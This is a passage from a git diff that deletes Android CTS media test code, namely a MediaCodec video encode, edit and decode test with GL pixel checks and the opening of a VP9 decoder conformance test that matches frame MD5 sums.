-    private boolean generateVideoFile(VideoChunks output)
-            throws IOException {
-        if (VERBOSE) Log.d(TAG, "generateVideoFile " + mWidth + "x" + mHeight);
-        MediaCodec encoder = null;
-        InputSurface inputSurface = null;
-
-        try {
-            // We avoid the device-specific limitations on width and height by using values that
-            // are multiples of 16, which all tested devices seem to be able to handle.
-            MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, mWidth, mHeight);
-
-            String codecName = selectCodec(format);
-            if (codecName == null) {
-                // Don't fail CTS if they don't have an AVC codec (not here, anyway).
-                Log.e(TAG, "Unable to find an appropriate codec for " + MIME_TYPE);
-                return false;
-            }
-            if (VERBOSE) Log.d(TAG, "found codec: " + codecName);
-
-            // Set some properties.  Failing to specify some of these can cause the MediaCodec
-            // configure() call to throw an unhelpful exception.
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            if (VERBOSE) Log.d(TAG, "format: " + format);
-            output.setMediaFormat(format);
-
-            // Create a MediaCodec for the desired codec, then configure it as an encoder with
-            // our desired properties.
-            encoder = MediaCodec.createByCodecName(codecName);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-            encoder.start();
-
-            generateVideoData(encoder, inputSurface, output);
-        } finally {
-            if (encoder != null) {
-                if (VERBOSE) Log.d(TAG, "releasing encoder");
-                encoder.stop();
-                encoder.release();
-                if (VERBOSE) Log.d(TAG, "released encoder");
-            }
-            if (inputSurface != null) {
-                inputSurface.release();
-            }
-        }
-
-        return true;
-    }
-
-    /**
-     * Returns the first codec capable of encoding the specified MIME type, or null if no
-     * match was found.
-     */
-    private static String selectCodec(MediaFormat format) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        return mcl.findEncoderForFormat(format);
-    }
-
-    /**
-     * Generates video frames, feeds them into the encoder, and writes the output to the
-     * VideoChunks instance.
-     */
-    private void generateVideoData(MediaCodec encoder, InputSurface inputSurface,
-            VideoChunks output) {
-        final int TIMEOUT_USEC = 10000;
-        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int generateIndex = 0;
-        int outputCount = 0;
-
-        // Loop until the output side is done.
-        boolean inputDone = false;
-        boolean outputDone = false;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "gen loop");
-
-            // If we're not done submitting frames, generate a new one and submit it.  The
-            // eglSwapBuffers call will block if the input is full.
-            if (!inputDone) {
-                if (generateIndex == NUM_FRAMES) {
-                    // Send an empty frame with the end-of-stream flag set.
-                    if (VERBOSE) Log.d(TAG, "signaling input EOS");
-                    if (WORK_AROUND_BUGS) {
-                        // Might drop a frame, but at least we won't crash mediaserver.
-                        try { Thread.sleep(500); } catch (InterruptedException ie) {}
-                        outputDone = true;
-                    } else {
-                        encoder.signalEndOfInputStream();
-                    }
-                    inputDone = true;
-                } else {
-                    generateSurfaceFrame(generateIndex);
-                    inputSurface.setPresentationTime(computePresentationTime(generateIndex) * 1000);
-                    if (VERBOSE) Log.d(TAG, "inputSurface swapBuffers");
-                    inputSurface.swapBuffers();
-                }
-                generateIndex++;
-            }
-
-            // Check for output from the encoder.  If there's no output yet, we either need to
-            // provide more input, or we need to wait for the encoder to work its magic.  We
-            // can't actually tell which is the case, so if we can't get an output buffer right
-            // away we loop around and see if it wants more input.
-            //
-            // If we do find output, drain it all before supplying more input.
-            while (true) {
-                int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
-                    break;      // out of while
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    // not expected for an encoder
-                    encoderOutputBuffers = encoder.getOutputBuffers();
-                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // expected on API 18+
-                    MediaFormat newFormat = encoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
-                } else if (encoderStatus < 0) {
-                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
-                } else { // encoderStatus >= 0
-                    ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
-                    if (encodedData == null) {
-                        fail("encoderOutputBuffer " + encoderStatus + " was null");
-                    }
-
-                    // Codec config flag must be set iff this is the first chunk of output.  This
-                    // may not hold for all codecs, but it appears to be the case for video/avc.
-                    assertTrue((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0 ||
-                            outputCount != 0);
-
-                    if (info.size != 0) {
-                        // Adjust the ByteBuffer values to match BufferInfo.
-                        encodedData.position(info.offset);
-                        encodedData.limit(info.offset + info.size);
-
-                        output.addChunk(encodedData, info.flags, info.presentationTimeUs);
-                        outputCount++;
-                    }
-
-                    encoder.releaseOutputBuffer(encoderStatus, false);
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        outputDone = true;
-                        break;      // out of while
-                    }
-                }
-            }
-        }
-
-        // One chunk per frame, plus one for the config data.
-        assertEquals("Frame count", NUM_FRAMES + 1, outputCount);
-    }
-
-    /**
-     * Generates a frame of data using GL commands.
-     * <p>
-     * We have an 8-frame animation sequence that wraps around.  It looks like this:
-     * <pre>
-     *   0 1 2 3
-     *   7 6 5 4
-     * </pre>
-     * We draw one of the eight rectangles and leave the rest set to the zero-fill color.     */
-    private void generateSurfaceFrame(int frameIndex) {
-        frameIndex %= 8;
-
-        int startX, startY;
-        if (frameIndex < 4) {
-            // (0,0) is bottom-left in GL
-            startX = frameIndex * (mWidth / 4);
-            startY = mHeight / 2;
-        } else {
-            startX = (7 - frameIndex) * (mWidth / 4);
-            startY = 0;
-        }
-
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glScissor(startX, startY, mWidth / 4, mHeight / 2);
-        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-    }
-
-    /**
-     * Edits a video file, saving the contents to a new file.  This involves decoding and
-     * re-encoding, not to mention conversions between YUV and RGB, and so may be lossy.
-     * <p>
-     * If we recognize the decoded format we can do this in Java code using the ByteBuffer[]
-     * output, but it's not practical to support all OEM formats.  By using a SurfaceTexture
-     * for output and a Surface for input, we can avoid issues with obscure formats and can
-     * use a fragment shader to do transformations.
-     */
-    private VideoChunks editVideoFile(VideoChunks inputData)
-            throws IOException {
-        if (VERBOSE) Log.d(TAG, "editVideoFile " + mWidth + "x" + mHeight);
-        VideoChunks outputData = new VideoChunks();
-        MediaCodec decoder = null;
-        MediaCodec encoder = null;
-        InputSurface inputSurface = null;
-        OutputSurface outputSurface = null;
-
-        try {
-            MediaFormat inputFormat = inputData.getMediaFormat();
-
-            // Create an encoder format that matches the input format.  (Might be able to just
-            // re-use the format used to generate the video, since we want it to be the same.)
-            MediaFormat outputFormat = MediaFormat.createVideoFormat(MIME_TYPE, mWidth, mHeight);
-            outputFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            outputFormat.setInteger(MediaFormat.KEY_BIT_RATE,
-                    inputFormat.getInteger(MediaFormat.KEY_BIT_RATE));
-            outputFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
-                    inputFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
-            outputFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL,
-                    inputFormat.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL));
-
-            outputData.setMediaFormat(outputFormat);
-
-            encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            encoder.configure(outputFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-            encoder.start();
-
-            // OutputSurface uses the EGL context created by InputSurface.
-            decoder = MediaCodec.createDecoderByType(MIME_TYPE);
-            outputSurface = new OutputSurface();
-            outputSurface.changeFragmentShader(FRAGMENT_SHADER);
-            // do not allow frame drops
-            inputFormat.setInteger(KEY_ALLOW_FRAME_DROP, 0);
-
-            decoder.configure(inputFormat, outputSurface.getSurface(), null, 0);
-            decoder.start();
-
-            // verify that we are not dropping frames
-            inputFormat = decoder.getInputFormat();
-            assertEquals("Could not prevent frame dropping",
-                         0, inputFormat.getInteger(KEY_ALLOW_FRAME_DROP));
-
-            editVideoData(inputData, decoder, outputSurface, inputSurface, encoder, outputData);
-        } finally {
-            if (VERBOSE) Log.d(TAG, "shutting down encoder, decoder");
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-            if (inputSurface != null) {
-                inputSurface.release();
-            }
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (decoder != null) {
-                decoder.stop();
-                decoder.release();
-            }
-        }
-
-        return outputData;
-    }
-
-    /**
-     * Edits a stream of video data.
-     */
-    private void editVideoData(VideoChunks inputData, MediaCodec decoder,
-            OutputSurface outputSurface, InputSurface inputSurface, MediaCodec encoder,
-            VideoChunks outputData) {
-        final int TIMEOUT_USEC = 10000;
-        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int inputChunk = 0;
-        int outputCount = 0;
-
-        boolean outputDone = false;
-        boolean inputDone = false;
-        boolean decoderDone = false;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "edit loop");
-
-            // Feed more data to the decoder.
-            if (!inputDone) {
-                int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (inputBufIndex >= 0) {
-                    if (inputChunk == inputData.getNumChunks()) {
-                        // End of stream -- send empty frame with EOS flag set.
-                        decoder.queueInputBuffer(inputBufIndex, 0, 0, 0L,
-                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                        inputDone = true;
-                        if (VERBOSE) Log.d(TAG, "sent input EOS (with zero-length frame)");
-                    } else {
-                        // Copy a chunk of input to the decoder.  The first chunk should have
-                        // the BUFFER_FLAG_CODEC_CONFIG flag set.
-                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
-                        inputBuf.clear();
-                        inputData.getChunkData(inputChunk, inputBuf);
-                        int flags = inputData.getChunkFlags(inputChunk);
-                        long time = inputData.getChunkTime(inputChunk);
-                        decoder.queueInputBuffer(inputBufIndex, 0, inputBuf.position(),
-                                time, flags);
-                        if (VERBOSE) {
-                            Log.d(TAG, "submitted frame " + inputChunk + " to dec, size=" +
-                                    inputBuf.position() + " flags=" + flags);
-                        }
-                        inputChunk++;
-                    }
-                } else {
-                    if (VERBOSE) Log.d(TAG, "input buffer not available");
-                }
-            }
-
-            // Assume output is available.  Loop until both assumptions are false.
-            boolean decoderOutputAvailable = !decoderDone;
-            boolean encoderOutputAvailable = true;
-            while (decoderOutputAvailable || encoderOutputAvailable) {
-                // Start by draining any pending output from the encoder.  It's important to
-                // do this before we try to stuff any more data in.
-                int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
-                    encoderOutputAvailable = false;
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    encoderOutputBuffers = encoder.getOutputBuffers();
-                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    MediaFormat newFormat = encoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
-                } else if (encoderStatus < 0) {
-                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
-                } else { // encoderStatus >= 0
-                    ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
-                    if (encodedData == null) {
-                        fail("encoderOutputBuffer " + encoderStatus + " was null");
-                    }
-
-                    // Write the data to the output "file".
-                    if (info.size != 0) {
-                        encodedData.position(info.offset);
-                        encodedData.limit(info.offset + info.size);
-
-                        outputData.addChunk(encodedData, info.flags, info.presentationTimeUs);
-                        outputCount++;
-
-                        if (VERBOSE) Log.d(TAG, "encoder output " + info.size + " bytes");
-                    }
-                    outputDone = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-                    encoder.releaseOutputBuffer(encoderStatus, false);
-                }
-                if (encoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // Continue attempts to drain output.
-                    continue;
-                }
-
-                // Encoder is drained, check to see if we've got a new frame of output from
-                // the decoder.  (The output is going to a Surface, rather than a ByteBuffer,
-                // but we still get information through BufferInfo.)
-                if (!decoderDone) {
-                    int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                    if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                        // no output available yet
-                        if (VERBOSE) Log.d(TAG, "no output from decoder available");
-                        decoderOutputAvailable = false;
-                    } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                        //decoderOutputBuffers = decoder.getOutputBuffers();
-                        if (VERBOSE) Log.d(TAG, "decoder output buffers changed (we don't care)");
-                    } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                        // expected before first buffer of data
-                        MediaFormat newFormat = decoder.getOutputFormat();
-                        if (VERBOSE) Log.d(TAG, "decoder output format changed: " + newFormat);
-                    } else if (decoderStatus < 0) {
-                        fail("unexpected result from decoder.dequeueOutputBuffer: "+decoderStatus);
-                    } else { // decoderStatus >= 0
-                        if (VERBOSE) Log.d(TAG, "surface decoder given buffer "
-                                + decoderStatus + " (size=" + info.size + ")");
-                        // The ByteBuffers are null references, but we still get a nonzero
-                        // size for the decoded data.
-                        boolean doRender = (info.size != 0);
-
-                        // As soon as we call releaseOutputBuffer, the buffer will be forwarded
-                        // to SurfaceTexture to convert to a texture.  The API doesn't
-                        // guarantee that the texture will be available before the call
-                        // returns, so we need to wait for the onFrameAvailable callback to
-                        // fire.  If we don't wait, we risk rendering from the previous frame.
-                        decoder.releaseOutputBuffer(decoderStatus, doRender);
-                        if (doRender) {
-                            // This waits for the image and renders it after it arrives.
-                            if (VERBOSE) Log.d(TAG, "awaiting frame");
-                            outputSurface.awaitNewImage();
-                            outputSurface.drawImage();
-
-                            // Send it to the encoder.
-                            inputSurface.setPresentationTime(info.presentationTimeUs * 1000);
-                            if (VERBOSE) Log.d(TAG, "swapBuffers");
-                            inputSurface.swapBuffers();
-                        }
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            // forward decoder EOS to encoder
-                            if (VERBOSE) Log.d(TAG, "signaling input EOS");
-                            if (WORK_AROUND_BUGS) {
-                                // Bail early, possibly dropping a frame.
-                                return;
-                            } else {
-                                encoder.signalEndOfInputStream();
-                            }
-                        }
-                    }
-                }
-            }
-        }
-
-        if (inputChunk != outputCount) {
-            throw new RuntimeException("frame lost: " + inputChunk + " in, " +
-                    outputCount + " out");
-        }
-    }
-
-    /**
-     * Checks the video file to see if the contents match our expectations.  We decode the
-     * video to a Surface and check the pixels with GL.
-     */
-    private void checkVideoFile(VideoChunks inputData)
-            throws IOException {
-        OutputSurface surface = null;
-        MediaCodec decoder = null;
-
-        mLargestColorDelta = -1;
-
-        if (VERBOSE) Log.d(TAG, "checkVideoFile");
-
-        try {
-            surface = new OutputSurface(mWidth, mHeight);
-
-            MediaFormat format = inputData.getMediaFormat();
-            decoder = MediaCodec.createDecoderByType(MIME_TYPE);
-            format.setInteger(KEY_ALLOW_FRAME_DROP, 0);
-            decoder.configure(format, surface.getSurface(), null, 0);
-            decoder.start();
-
-            int badFrames = checkVideoData(inputData, decoder, surface);
-            if (badFrames != 0) {
-                fail("Found " + badFrames + " bad frames");
-            }
-        } finally {
-            if (surface != null) {
-                surface.release();
-            }
-            if (decoder != null) {
-                decoder.stop();
-                decoder.release();
-            }
-
-            Log.i(TAG, "Largest color delta: " + mLargestColorDelta);
-        }
-    }
-
-    /**
-     * Checks the video data.
-     *
-     * @return the number of bad frames
-     */
-    private int checkVideoData(VideoChunks inputData, MediaCodec decoder, OutputSurface surface) {
-        final int TIMEOUT_USEC = 1000;
-        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] decoderOutputBuffers = decoder.getOutputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int inputChunk = 0;
-        int checkIndex = 0;
-        int badFrames = 0;
-
-        boolean outputDone = false;
-        boolean inputDone = false;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "check loop");
-
-            // Feed more data to the decoder.
-            if (!inputDone) {
-                int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (inputBufIndex >= 0) {
-                    if (inputChunk == inputData.getNumChunks()) {
-                        // End of stream -- send empty frame with EOS flag set.
-                        decoder.queueInputBuffer(inputBufIndex, 0, 0, 0L,
-                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                        inputDone = true;
-                        if (VERBOSE) Log.d(TAG, "sent input EOS");
-                    } else {
-                        // Copy a chunk of input to the decoder.  The first chunk should have
-                        // the BUFFER_FLAG_CODEC_CONFIG flag set.
-                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
-                        inputBuf.clear();
-                        inputData.getChunkData(inputChunk, inputBuf);
-                        int flags = inputData.getChunkFlags(inputChunk);
-                        long time = inputData.getChunkTime(inputChunk);
-                        decoder.queueInputBuffer(inputBufIndex, 0, inputBuf.position(),
-                                time, flags);
-                        if (VERBOSE) {
-                            Log.d(TAG, "submitted frame " + inputChunk + " to dec, size=" +
-                                    inputBuf.position() + " flags=" + flags);
-                        }
-                        inputChunk++;
-                    }
-                } else {
-                    if (VERBOSE) Log.d(TAG, "input buffer not available");
-                }
-            }
-
-            if (!outputDone) {
-                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    decoderOutputBuffers = decoder.getOutputBuffers();
-                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed");
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    MediaFormat newFormat = decoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " + newFormat);
-                } else if (decoderStatus < 0) {
-                    fail("unexpected result from decoder.dequeueOutputBuffer: " + decoderStatus);
-                } else { // decoderStatus >= 0
-                    ByteBuffer decodedData = decoderOutputBuffers[decoderStatus];
-
-                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
-                            " (size=" + info.size + ")");
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        if (VERBOSE) Log.d(TAG, "output EOS");
-                        outputDone = true;
-                    }
-
-                    boolean doRender = (info.size != 0);
-
-                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
-                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
-                    // that the texture will be available before the call returns, so we
-                    // need to wait for the onFrameAvailable callback to fire.
-                    decoder.releaseOutputBuffer(decoderStatus, doRender);
-                    if (doRender) {
-                        if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
-                        assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
-                                info.presentationTimeUs);
-                        surface.awaitNewImage();
-                        surface.drawImage();
-                        if (!checkSurfaceFrame(checkIndex)) {
-                            badFrames++;
-                        }
-                        checkIndex++;
-                    }
-                }
-            }
-        }
-
-        return badFrames;
-    }
-
-    /**
-     * Checks the frame for correctness, using GL to check RGB values.
-     *
-     * @return true if the frame looks good
-     */
-    private boolean checkSurfaceFrame(int frameIndex) {
-        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4); // TODO - reuse this
-        boolean frameFailed = false;
-        // Choose the appropriate initial/regular tolerance
-        int maxDelta = frameIndex < INITIAL_TOLERANCE_FRAME_LIMIT ? INITIAL_TOLERANCE : TOLERANCE;
-        for (int i = 0; i < 8; i++) {
-            // Note the coordinates are inverted on the Y-axis in GL.
-            int x, y;
-            if (i < 4) {
-                x = i * (mWidth / 4) + (mWidth / 8);
-                y = (mHeight * 3) / 4;
-            } else {
-                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
-                y = mHeight / 4;
-            }
-
-            GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, pixelBuf);
-            int r = pixelBuf.get(0) & 0xff;
-            int g = pixelBuf.get(1) & 0xff;
-            int b = pixelBuf.get(2) & 0xff;
-            //Log.d(TAG, "GOT(" + frameIndex + "/" + i + "): r=" + r + " g=" + g + " b=" + b);
-
-            int expR, expG, expB;
-            if (i == frameIndex % 8) {
-                // colored rect (green/blue swapped)
-                expR = TEST_R1;
-                expG = TEST_B1;
-                expB = TEST_G1;
-            } else {
-                // zero background color (green/blue swapped)
-                expR = TEST_R0;
-                expG = TEST_B0;
-                expB = TEST_G0;
-            }
-            if (!isColorClose(r, expR, maxDelta) ||
-                    !isColorClose(g, expG, maxDelta) ||
-                    !isColorClose(b, expB, maxDelta)) {
-                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + ": rgb=" + r +
-                        "," + g + "," + b + " vs. expected " + expR + "," + expG +
-                        "," + expB + ") for allowed error of " + maxDelta);
-                frameFailed = true;
-            }
-        }
-
-        return !frameFailed;
-    }
-
-    /**
-     * Returns true if the actual color value is close to the expected color value.  Updates
-     * mLargestColorDelta.
-     */
-    boolean isColorClose(int actual, int expected, int maxDelta) {
-        int delta = Math.abs(actual - expected);
-        if (delta > mLargestColorDelta) {
-            mLargestColorDelta = delta;
-        }
-        return (delta <= maxDelta);
-    }
-
-    /**
-     * Generates the presentation time for frame N, in microseconds.
-     */
-    private static long computePresentationTime(int frameIndex) {
-        return 123 + frameIndex * 1000000 / FRAME_RATE;
-    }
-
-
-    /**
-     * The elementary stream coming out of the encoder needs to be fed back into
-     * the decoder one chunk at a time.  If we just wrote the data to a file, we would lose
-     * the information about chunk boundaries.  This class stores the encoded data in memory,
-     * retaining the chunk organization.
-     */
-    private static class VideoChunks {
-        private MediaFormat mMediaFormat;
-        private ArrayList<byte[]> mChunks = new ArrayList<byte[]>();
-        private ArrayList<Integer> mFlags = new ArrayList<Integer>();
-        private ArrayList<Long> mTimes = new ArrayList<Long>();
-
-        /**
-         * Sets the MediaFormat, for the benefit of a future decoder.
-         */
-        public void setMediaFormat(MediaFormat format) {
-            mMediaFormat = format;
-        }
-
-        /**
-         * Gets the MediaFormat that was used by the encoder.
-         */
-        public MediaFormat getMediaFormat() {
-            return new MediaFormat(mMediaFormat);
-        }
-
-        /**
-         * Adds a new chunk.  Advances buf.position to buf.limit.
-         */
-        public void addChunk(ByteBuffer buf, int flags, long time) {
-            byte[] data = new byte[buf.remaining()];
-            buf.get(data);
-            mChunks.add(data);
-            mFlags.add(flags);
-            mTimes.add(time);
-        }
-
-        /**
-         * Returns the number of chunks currently held.
-         */
-        public int getNumChunks() {
-            return mChunks.size();
-        }
-
-        /**
-         * Copies the data from chunk N into "dest".  Advances dest.position.
-         */
-        public void getChunkData(int chunk, ByteBuffer dest) {
-            byte[] data = mChunks.get(chunk);
-            dest.put(data);
-        }
-
-        /**
-         * Returns the flags associated with chunk N.
-         */
-        public int getChunkFlags(int chunk) {
-            return mFlags.get(chunk);
-        }
-
-        /**
-         * Returns the timestamp associated with chunk N.
-         */
-        public long getChunkTime(int chunk) {
-            return mTimes.get(chunk);
-        }
-
-        /**
-         * Writes the chunks to a file as a contiguous stream.  Useful for debugging.
-         */
-        public void saveToFile(File file) {
-            Log.d(TAG, "saving chunk data to file " + file);
-            FileOutputStream fos = null;
-            BufferedOutputStream bos = null;
-
-            try {
-                fos = new FileOutputStream(file);
-                bos = new BufferedOutputStream(fos);
-                fos = null;     // closing bos will also close fos
-
-                int numChunks = getNumChunks();
-                for (int i = 0; i < numChunks; i++) {
-                    byte[] chunk = mChunks.get(i);
-                    bos.write(chunk);
-                }
-            } catch (IOException ioe) {
-                throw new RuntimeException(ioe);
-            } finally {
-                try {
-                    if (bos != null) {
-                        bos.close();
-                    }
-                    if (fos != null) {
-                        fos.close();
-                    }
-                } catch (IOException ioe) {
-                    throw new RuntimeException(ioe);
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java b/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
deleted file mode 100644
index a70acec..0000000
--- a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.compatibility.common.util.Stat;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.HashMap;
-
-/**
- * Conformance test for decoders on the device.
- *
- * This test will decode test vectors and calculate every decoded frame's md5
- * checksum to see if it matches with the correct md5 value read from a
- * reference file associated with the test vector. Test vector md5 sums are
- * based on the YUV 420 plannar format.
- */
-@AppModeFull(reason = "There should be no instant apps specific behavior related to conformance")
-public class DecoderConformanceTest extends MediaPlayerTestBase {
-    private static enum Status {
-        FAIL,
-        PASS,
-        SKIP;
-    }
-
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private static final String TAG = "DecoderConformanceTest";
-    private static final String CONFORMANCE_SUBDIR = "conformance_vectors/";
-    private DeviceReportLog mReportLog;
-    private MediaCodec mDecoder;
-    private MediaExtractor mExtractor;
-    static final String mInpPrefix = WorkDir.getMediaDirString() + CONFORMANCE_SUBDIR;
-
-    private static final Map<String, String> MIMETYPE_TO_TAG = new HashMap <String, String>() {{
-        put(MediaFormat.MIMETYPE_VIDEO_VP9, "vp9");
-    }};
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-
-    private List<String> readResourceLines(String fileName) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        InputStream is = new FileInputStream(mInpPrefix + fileName);
-        BufferedReader in = new BufferedReader(new InputStreamReader(is, "UTF-8"));
-
-        // Read the file line by line.
-        List<String> lines = new ArrayList<String>();
-        String str;
-        while ((str = in.readLine()) != null) {
-            int k = str.indexOf(' ');
-            String line = k >= 0 ? str.substring(0, k) : str;
-            lines.add(line);
-        }
-
-        is.close();
-        return lines;
-    }
-
-    private List<String> readCodecTestVectors(String mime) throws Exception {
-        String tag = MIMETYPE_TO_TAG.get(mime);
-        String testVectorFileName = tag + "_test_vectors";
-        return readResourceLines(testVectorFileName);
-    }
-
-    private List<String> readVectorMD5Sums(String mime, String vectorName) throws Exception {
-        String tag = MIMETYPE_TO_TAG.get(mime);
-        String md5FileName = vectorName + "_" + tag + "_md5";
-        return readResourceLines(md5FileName);
-    }
-
-    private void release() {
-        try {
-            mDecoder.stop();
-        } catch (Exception e) {
-            Log.e(TAG, "Mediacodec stop exception");
-        }
-
-        try {
-            mDecoder.release();
-            mExtractor.release();
-        } catch (Exception e) {
-            Log.e(TAG, "Mediacodec release exception");
-        }
-
-        mDecoder = null;
-        mExtractor = null;
-    }
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res, String mime)
